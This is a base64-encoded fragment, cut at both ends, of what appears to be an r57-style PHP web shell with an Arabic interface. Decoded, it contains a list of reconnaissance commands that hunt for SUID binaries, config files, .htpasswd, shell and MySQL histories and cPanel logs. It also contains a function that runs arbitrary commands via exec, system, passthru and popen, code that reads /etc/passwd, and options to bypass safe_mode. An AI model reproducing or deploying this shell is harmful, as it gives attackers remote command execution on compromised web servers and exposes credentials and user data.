JJywNCidhcl90ZXh0NTInPT4nyM3LIOTVJywNCidhcl90ZXh0NTMnPT4n3e0gx+Hj08fRJywNCidhcl90Z Xh0NTQnPT4nyM3LINrkIOTVIN3tIMfh4+Hdx8onLA0KJ2FyX2J1dHQxMic9PifIzcsnLA0KJ2FyX3RleHQ 1NSc9Pifd3tgg3e0gx+Hj4d3HyicsDQonYXJfdGV4dDU2Jz0+J+HH7ebMzyA6KCcsDQonYXJfdGV4dDU3J z0+J8fk1MfBL+PTzSDj4d0v48zhzycsDQonYXJfdGV4dDU4Jz0+J8fhx9PjJywNCidhcl90ZXh0NTknPT4 n4+HdJywNCidhcl90ZXh0NjAnPT4n48zhzycsDQonYXJfYnV0dDEzJz0+J8Xk1MfBIC/j080nLA0KJ2FyX 3RleHQ2MSc9PifK4yDF5NTHwSDH4ePh3ScsDQonYXJfdGV4dDYyJz0+J8rjIMXk1MfBIMfh48zhzycsDQo nYXJfdGV4dDYzJz0+J8rjIOPTzSDH4ePh3ScsDQonYXJfdGV4dDY0Jz0+J8rjIOPTzSDH4ePM4c8nLA0KJ 2FyX2J1dHQ2NSc9PifF5NTHwScsDQonYXJfdGV4dDY2Jz0+J+PTzScsDQonYXJfdGV4dDY3Jz0+J8fhytX R7c0vx+Hj08rOz+Mvx+HjzOPm2sknLA0KJ2FyX3RleHQ2OCc9PifH49EnLA0KJ2FyX3RleHQ2OSc9PifF0 +Mgx+Hj4d0nLA0KJ2FyX3RleHQ3MCc9PifH4crV0e3NJywNCidhcl90ZXh0NzEnPT4iU2Vjb25kIGNvbW1 hbmRzIHBhcmFtIGlzOlxyXG4tIGZvciBDSE9XTiAtIG5hbWUgb2YgbmV3IG93bmVyIG9yIFVJRFxyXG4tI GZvciBDSEdSUCAtIGdyb3VwIG5hbWUgb3IgR0lEXHJcbi0gZm9yIENITU9EIC0gMDc3NywgMDc1NS4uLiI sDQonYXJfdGV4dDcyJz0+J8fh5NUgx+Hj0cfPJywNCidhcl90ZXh0NzMnPT4nyM3LIN3tIMfh48zhz8fKJ ywNCidhcl90ZXh0NzQnPT4nyM3LIN3tIMfh4+Hdx8onLA0KJ2FyX3RleHQ3NSc9PicqIHlvdSBjYW4gdXN
lIHJlZ2V4cCcsDQonYXJfdGV4dDc2Jz0+J8fhyM3LINrkIOTVIN3tIOPh3cfKIMjmx9PY5SBmaW5kJywNC idhcl90ZXh0ODAnPT4nx+Hk5tonLA0KJ2FyX3RleHQ4MSc9PifH4cXK1cfhx8onLA0KJ2FyX3RleHQ4Mic 9Pife5sfazyDH4cjtx+THyicsDQonYXJfdGV4dDgzJz0+J8rU2+3hIMfj0SDH08ra4cfjJywNCidhcl90Z Xh0ODQnPT4nx9PK2uHH4yDex9rPyScsDQonYXJfdGV4dDg1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB 3aXRoIGNvbW1hbmRzIGV4ZWN1dGUgdmlhIE1TU1FMIHNlcnZlcicsDQonYXJfdGV4dDg2Jz0+J8rk0u3hI OPh3cfKIOPkIMfh0+3R3dEnLA0KJ2FyX2J1dHQxNCc9PifKzePt4ScsDQonYXJfdGV4dDg3Jz0+J8rk0u3 hIOPh3cfKIOPkIM7Hz+Mgx+HH3SDK7SDI7ScsDQonYXJfdGV4dDg4Jz0+J9Pt0d3RIMfhx90gyu0gyO06x +Hj5N3QJywNCidhcl90ZXh0ODknPT4n4+HdIN3tIMfhx90gyu0gyO0nLA0KJ2FyX3RleHQ5MCc9PifH4cr N5u3hIMfh7CcsDQonYXJfdGV4dDkxJz0+J8fR1N3JJywNCidhcl90ZXh0OTInPT4n4+Qg2+3RIMfhx9HU3 cknLA0KJ2FyX3RleHQ5Myc9PifH4cfdIMrtIMjtJywNCidhcl90ZXh0OTQnPT4nys7j7eQgx+HH3SDK7SD I7ScsDQonYXJfdGV4dDk1Jz0+J97HxuPJIMfh49PKzs/j7eQnLA0KJ2FyX3RleHQ5Nic9Pifh4yDt08rY2 iDTzcgg3sfG48kgx+Hj08rOz+Pt5CcsDQonYXJfdGV4dDk3Jz0+J8rjIMfh3c3VOiAnLA0KJ2FyX3RleHQ 5OCc9PifK4yDI5MzHzTogJywNCidhcl90ZXh0OTknPT4nKiDH08rOz+Mgx9Pjx8Egx+Hj08rOz+Pt5CDd7 SDj4d0gL2V0Yy9wYXNzd2Qg4c/O5uEg4eHcIGZ0cCcsDQonYXJfdGV4dDEwMCc9PifH0dPH4SDj4d0gx+H sIM7Hz+Mgx+HH3SDK7SDI7ScsDQonYXJfdGV4dDEwMSc9PifH08rOz+Mgx+HH08fj7SDj2t/m0+Ug4crO4 +3k5ccnLA0KJ2FyX3RleHQxMDInPT4nzs/jx8ogx+HI0e3PJywNCidhcl90ZXh0MTAzJz0+J8fR08fhIMj R7c8nLA0KJ2FyX3RleHQxMDQnPT4nx9HTx+Eg4+HdIMfh7CDH4cft4+3hJywNCidhcl90ZXh0MTA1Jz0+J 8Xh7CcsDQonYXJfdGV4dDEwNic9Pifj3OQnLA0KJ2FyX3RleHQxMDcnPT4nx+Hj5tbm2icsDQonYXJfYnV 0dDE1Jz0+J8XR08fhJywNCidhcl90ZXh0MTA4Jz0+J8fh0dPH4cknLA0KJ2FyX3RleHQxMDknPT4n487d7 ScsDQonYXJfdGV4dDExMCc9Pifa0dYnLA0KJ2FyX3RleHQxMTEnPT4n0+3R3dEg3ubH2s8gx+HI7cfkx8o gOiDH4ePk3dAnLA0KJ2FyX3RleHQxMTInPT4n3tHHxskgx+Hj4d3HyiDa5CDY0e3eIMvb0ckgz8fh5SBtY l9zZW5kX21haWwnLA0KJ2FyX3RleHQxMTMnPT4n3tHHxskg483K5uwgx+HjzOHPx8og2uQg2NHt3iB2aWE gaW1hcF9saXN0JywNCidhcl90ZXh0MTE0Jz0+J97Rx8bJIMfh4+Hdx8og2uQg2NHt3iDL29HJIHZpYSBpb WFwX2JvZHknLA0KJ2FyX3RleHQxMTUnPT4n3tHHxskgx+Hj4d3HyiDa5CDY0e3eIGNvbXByZXNzLnpsaWI 6Ly8nLA0KJ2FyX3RleHQxMTYnPT4n5NPOIOPkJywNCidhcl90ZXh0MTE3Jz0+J8fh7CcsDQonYXJfdGV4d DExOCc9PifK4yDk084gx+Hj4d0nLA0KJ2FyX3RleHQxMTknPT4n4cft08rY7dogx+Hk084nLA0KJ2FyX2V ycjAnPT4nztjHwSAhIOHH7ePf5CDH4d/Kx8jJINrh7CDl0Mcgx+Hj4d0gJywNCidhcl9lcnIxJz0+J87Yx 8EgISDb7dEg3sfP0SDa4ewg3tHHxuUg5dDHIMfh4+HdICcsDQonYXJfZXJyMic9PifO2MfBISDhx+3j3+Q gx+HH5NTHwSAnLA0KJ2FyX2VycjMnPT4nztjHwSEg2+3RIN7Hz9Eg2uHsIMfhx8rVx+EgyMfhx90gyu0gy O0nLA0KJ2FyX2VycjQnPT4nztjHwSAhIOHHytPK2O3aIMfhz87m4SDH4ewg0+3R3dEgx+HH3SDK7SDI7Sc sDQonYXJfZXJyNSc9PifO2MfBICEg4cfK08rY7dogytvt0SDH4ePM4c8g3e0gx+HH3SDK7SDI7ScsDQonY XJfZXJyNic9PifO2MfBICEg4cfK08rY7dogx9HTx+Eg0dPH4eUnLA0KJ2FyX2VycjcnPT4nx+HI0e3PIMf R0+EnLA0KJ2FyX3RleHQyMDAnPT4nY29weSgp3tHHxskgx+Hj4d3HyiDa5CDY0e3eIMvb0cknLA0KJ2FyX 3RleHQyMDInPT4n49PH0SDH4ePh3SDH4ePRx88g3tHHxsrlJywNCidhcl90ZXh0MzAwJz0+J2N1cmwoKd7 Rx8blIMfh4+Hdx8og2uQg2NHt3iDL29HJJywNCidhcl90ZXh0MjAzJz0+J2luaV9yZXN0b3JlKCne0cfGy SDH4ePh3cfKINrkINjR7d4gy9vRyScsDQonYXJfdGV4dDIwNCc9PidlcnJvcl9sb2coKdLRx9rlIMfh4+H dx8og2uQg2NHt3iDL29HlJywNCidhcl90ZXh0MjA1Jz0+J8PS0dogx+HU4SDa4ewg5dDHIMfh49PH0ScsD QonYXJfdGV4dDIwNic9Pife0cfG5SDjzcrm7cfKIMfh48zhzycsDQonYXJfdGV4dDIwNyc9Pife0cfG5SD jzcrm7cfKIMfh48zhz8fKINrkINjR7d4gy9vR5SByZWdfZ2xvYicsDQonYXJfdGV4dDIwOCc9PifK5N3t0 CDH4cfmx+PRIN3tIMfh5tbaIMfhx+PkINrkINjR7d4gx+HP5sfhJywNCidhcl90ZXh0MjA5Jz0+J97Rx8b lIOPNyubtx8ogx+HjzOHPx8og2uQg2NHt3iDL29HlIHJvb3QnLA0KJ2FyX3RleHQyMTAnPT4n3d8gytTd7 dEgx+HS5M8gJywNCidhcl90ZXh0MjExJz0+Jzo6x97dx+Egx+HT7d0g4+bPOjonLA0KJ2FyX3RleHQyMTI nPT4ncGhwLmluaSDH3t3H4SDH4dPt3SDj5s8g2uQg2NHt3iDS0dog4+HdJywNCidhcl90ZXh0MjEzJz0+J 2h0YWNjZXMgxd7dx+Egx+Hj5s8g09/t5tHK7SDa5CDY0e3eINLR2iDj4d0nLA0KJ2FyX3RleHQyMTQnPT4 nw9PjIMfhx8/j5CcsDQonYXJfdGV4dDIxNSc9Pifa5ObH5CDH4dPt0d3RIElSQyAnLA0KJ2FyX3RleHQyM TYnPT4nIyDD0+Mgx+Hb0d3lIOPaJywNCidhcl90ZXh0MjE3Jz0+J8fT4yDH4dPt0d3RIMfh487K0d4nLA0 KJ2FyX3RleHQyMTgnPT4n4cXt3sfdIMfh0+3dIOPmzyBpbmlfcmVzdG9yZSDS0dog4+HdIO3NyubtINrh7 CDL29HlJywNCidhcl90ZXh0MjE5Jz0+J9PNyCDj4d3HyiDH4ewgx+HT7dHd0SDmytvt0SDH0+PlxyDIx+H m1togx+HH4+QnLA0KJ2FyX3RleHQyMjAnPT4nx9PK2tHH1iDH4ePh3cfKINrkINjR7d4gy9vR5SBzeW1sa W5rIMfhztjm5SDH4cfm4ewnLA0KJ2FyX3RleHQyMjEnPT4n1tvYIMfh4+Hdx8og4crN4+3h5ccg4+Qgx+H j5t7aKMjazyDKzePt4eXHIOHM5cfS3yDb7dEgx+PKz8fPIMfh4+HdIOHH48rPx8/lIMfh08fI3ikxJywNC idhcl90ZXh0MjIyJz0+J8fTytrRx9Ygx+Hj4d3HyiDa5CDY0e3eIMvb0eUgc3ltbGluayDH4c7Y5uUgx+H Lx+Tt5ScsDQonYXJfdGV4dDIyMyc9Pife0cfG5SDH4ePh3cfKINrkINjR7d4gx+HP5sfhJywNCidhcl90Z Xh0MjI0Jz0+J1BMVUdJTiDe0cfG5SDH4ePh3cfKINrkINjR7d4gy9vR5SAnLA0KKTsNCi8qDQo/Pz8/Pz8 gPz8/Pz8/DQo/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8gPyA/Pz8tP z8gPz8/Pz8/LiAoID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gPz8/Pz8/Pz8/ID8/Pz8gKQ0KPz8gPz8/Pz8 /ID8/Pz8gPz8/Pz8/Pz8/ID8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Lg0KKi8NCiRhbGlhc2VzPWFycmF5KA0KJ 8fhyM3LINrkIOPh3cfKIHN1aWQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonx+H
Izcsg2uQg4+Hdx8ogc3VpZCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wN DAwMCAtbHMnLA0KJ8fhyM3LINrkIOPh3cfKIHN1aWQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDA wIC1scycsDQonx+HIzcsg2uQg4+Hdx8ogc3VpZCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZ SBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ8fhyM3LINrkIOPh3cfKIGNvbmZpZy5pbmMucGhwJz0+J2ZpbmQ gLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCifH4cjNyyDa5CDj4d3HyiBjb25maWcuaW5jL nBocCDd7SDH4ePM4c8gx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJyw NCifH4cjNyyDa5CDj4d3HyiBjb25maWcqIMjM4+3aIMfhx+PKz8fPx8onPT4nZmluZCAvIC10eXBlIGYgL W5hbWUgImNvbmZpZyoiJywNCifH4cjNyyDa5CDj4d3HyiBjb25maWcqIN3tIMfh48zhzyDH4c3H4e0nPT4 nZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCifH4cjNyyDa5CDH4ePh3cfKIMfh3sfI4ckg4 eHfysfIySc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ8fhyM3LINrkIMfh4+Hdx8ogx+H ex8jhySDh4d/Kx8jJIN3tIMfh48zhzyDH4c3H4e0nPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTIgLWxzJ ywNCifH4cjNyyDa5CDH4ePM4c/HyiDH4d7HyOHJIOHh38rHyMknPT4nZmluZCAvICAtdHlwZSBkIC1wZXJ tIC0yIC1scycsDQonx+HIzcsg2uQgx+HjzOHPx8ogx+Hex8jhySDh4d/Kx8jJIN3tIMfh49PH0SDH4c3H4 e0nPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCifH4cjNyyDa5CDj4d3HyiDm48zhz8fKIN7 HyOHJIOHh38rHyMknPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonx+HIzcsg2uQg4+Hdx8og5uPM 4c/HyiDd7SDH4ePTx9Egx+HNx+HtJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ8fhyM3LINrkIOPh3c fKIHNlcnZpY2UucHdkJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCifH4cjNyyDa 5CDj4d3HyiBzZXJ2aWNlLnB3ZCDd7SDH4ePTx9Egx+HNx+HtJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIH NlcnZpY2UucHdkJywNCifH4cjNyyDa5CDf4SDj4d3HyiDH4czP0cfkIMfh5MfR7ckgLmh0cGFzc3dkJz0+ J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonx+HIzcsg2uQgzOPt2iDj4d3HyiDH4czP0c fkIMfh5MfR7ckg3e0gx+Hj08fRIMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2Qn LA0KJ8fhyM3LINrkIMzj7dog4+Hdx8ogLmJhc2hfaGlzdG9yeSc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZS AuYmFzaF9oaXN0b3J5JywNCifH4cjNyyDa5CDM4+3aIOPh3cfKIC5iYXNoX2hpc3Rvcnkg3e0gx+Hj08fR IMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCifH4cjNyyDa5CDM4+ 3aIOPh3cfKIC5teXNxbF9oaXN0b3J5Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5 JywNCifH4cjNyyDa5CDM4+3aIOPh3cfKIC5teXNxbF9oaXN0b3J5IN3tIMfh49PH0SDH4c3H4e0nPT4nZm luZCAuIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLA0KJ8fhyM3LINrkIMzj7dog4+Hdx8ogLmZl dGNobWFpbHJjJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonx+HIzcsg2uQgzO Pt2iDj4d3HyiAuZmV0Y2htYWlscmMg3e0gx+Hj08fRIMfhzcfh7Sc9PidmaW5kIC4gLXR5cGUgZiAtbmFt ZSAuZmV0Y2htYWlscmMnLA0KJ8fO0SDj4d3HyiDj1Nvh5SDd7SDH4eTZx+MnPT4nbHNhdHRyIC12YScsDQ on0cTtySDH4cjm0crHyiDH4ePdyubNySDd7SDH4dPt0d3RJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBs aXN0ZW4nLA0KJ9HE7ckgzcfhySDH4ePM4c/HyiDmx+Pfx+TtySDH4crk3e3QJz0+J2NhdCAvZXRjL2ZzdG FiJywNCifj1Mflz8kg4+HdIMfh4ebeIOHPzubhIMfh0+0gyMfk4SDmx+Hj5sfe2iDa4ewgx+HT7dHd0Sc9 PidjYXQgL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2cnLA0KJ8rdx9Xt4SDH4drj4e3HyiDH4crtIMra4+ Egx+HH5CDIx+Hk1sfjJz0+J3BzIGF1eCcsDQonx+Hj08rOz+Pt5CDH4ePK1eHt5CDNx+Htxyc9Pid3JywN CifHztEg49PKzs/j7eQgx8rV4eYnPT4nbGFzdGxvZycsDQon3c3VIMfP5sfKIMfh083IIHdnZXQgY3VybC AuLmV0Yyc9Pid3aGljaCB3Z2V0IGN1cmwgdzNtIGx5bngnLA0KJ93N1SDHz8fJIMfhytHM4+UgZ2NjJz0+ J2xvY2F0ZSBnY2MnLA0KDQoNCg0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0n PT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgYmdjb2xvcj0jMjcyNzI3Pjxmb250IG ZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0g IiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsNCiR0YWJsZV91cDMgID0gIjx0YW JsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRy Pjx0ZCBiZ2NvbG9yPSMzMzMzMzM+IjsNCiR0YWJsZV9lbmQxID0gIjwvdGQ+PC90cj4iOw0KJGFycm93ID 0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNv bG9yPWJsYWNrPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1ibGFjaz5dPC9mb250PiI7DQokZm 9udCA9ICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxl MSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybS BuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRb J3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbn QgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4i PC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYW NoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4n Ow0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LT I+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48 L2Rpdj4iOyBkaWUoKTsNCiB9DQoNCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHsgQGNoZGlyKCRfUE 9TVFsnZGlyJ10pOyB9DQokZGlyID0gQGdldGN3ZCgpOw0KJHVuaXggPSAwOw0KaWYoc3RybGVuKCRkaXIp PjEgJiYgJGRpclsxXT09IjoiKSAkdW5peD0wOyBlbHNlICR1bml4PTE7DQppZihlbXB0eSgkZGlyKSkNCi
B7DQogJG9zID0gZ2V0ZW52KCdPUycpOw0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBwaHBfdW5hbWUoKTsg fQ0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSItIjsgJHVuaXg9MTsgfQ0KIGVsc2UNCiAgICB7DQogICAgaW YoQGVyZWdpKCJed2luIiwkb3MpKSB7ICR1bml4ID0gMDsgfQ0KICAgIGVsc2UgeyAkdW5peCA9IDE7IH0N CiAgICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnc19kaXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnc190ZX h0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzZWFyY2hfdGV4 dCIpDQogIHsNCiAgICBlY2hvICRoZWFkOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJi AhZW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2Rpcidd LCRfUE9TVFsnc190ZXh0J10sJF9QT1NUWydzX21hc2snXSk7IH0NCiAgICBlbHNlIHsgJHNyID0gbmV3IF NlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSk7IH0NCiAgICAkc3ItPlNl YXJjaFRleHQoMCwwKTsNCiAgICAkcmVzID0gJHNyLT5HZXRSZXN1bHRGaWxlcygpOw0KICAgICRmb3VuZC A9ICRzci0+R2V0TWF0Y2hlc0NvdW50KCk7DQogICAgJHRpdGxlcyA9ICRzci0+R2V0VGl0bGVzKCk7DQog ICAgJHIgPSAiIjsNCiAgICBpZigkZm91bmQgPiAwKQ0KICAgIHsNCiAgICAgICRyIC49ICI8VEFCTEUgd2 lkdGg9MTAwJT4iOw0KICAgICAgZm9yZWFjaCgkcmVzIGFzICRmaWxlPT4kdikNCiAgICAgIHsNCiAgICAg ICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAkciAuPSAiPFREIGNvbHNwYW49Mj48Zm9udCBmYWNlPXRhaG 9tYSBzaXplPS0yPjxiPiIud3MoMyk7DQogICAgICAgICRyIC49ICghJHVuaXgpPyBzdHJfcmVwbGFjZSgi LyIsIlxcIiwkZmlsZSkgOiAkZmlsZTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsNCi AgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZm9yZWFjaCgkdiBhcyAkYT0+JGIpDQogICAgICAg IHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBhbGlnbj1jZW50ZX I+PEI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj4iLiRhLiI8L2ZvbnQ+PC9CPjwvVEQ+IjsNCiAgICAg ICAgICAkciAuPSAiPFREPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii53cygyKS4kYi4iPC9mb250Pj wvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPC9UUj5cbiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAg ICRyIC49ICI8L1RBQkxFPiI7DQogICAgZWNobyAkcjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgIC AgIGVjaG8gIjxQIGFsaWduPWNlbnRlcj48Qj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiIuJGxhbmdb JGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PG RpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NF UlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgpOw0KIC B9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRz YWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKT sNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVu Y3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb2 4gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0 aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IG pvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycp KQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW 9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2Zl KTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH 0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQo KTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgIC BAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNm ZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IE BmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiB9DQogcmV0dXJuICRyZXM7DQp9 DQpmdW5jdGlvbiBnZXRfdXNlcnMoKQ0Kew0KICAkdXNlcnMgPSBhcnJheSgpOw0KICAkcm93cz1maWxlKC cvZXRjL3Bhc3N3ZCcpOw0KICBpZighJHJvd3MpIHJldHVybiAwOw0KICBmb3JlYWNoICgkcm93cyBhcyAk c3RyaW5nKQ0KICAgew0KICAgICAgICAgICAkdXNlciA9IEBleHBsb2RlKCI6Iiwkc3RyaW5nKTsNCiAgIC AgICAgICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclsw XSk7DQogICB9DQogIHJldHVybiAkdXNlcnM7DQp9DQpmdW5jdGlvbiBlcnIoJG4sJHR4dD0nJykNCnsNCm VjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJn Y29sb3I9IzAwMDAwMD48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPW NlbnRlcj48Yj4nOw0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJy Jy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC 9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRt b2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMC ApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQpl bHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4Nj AwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9 DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmID B4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRt b2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID
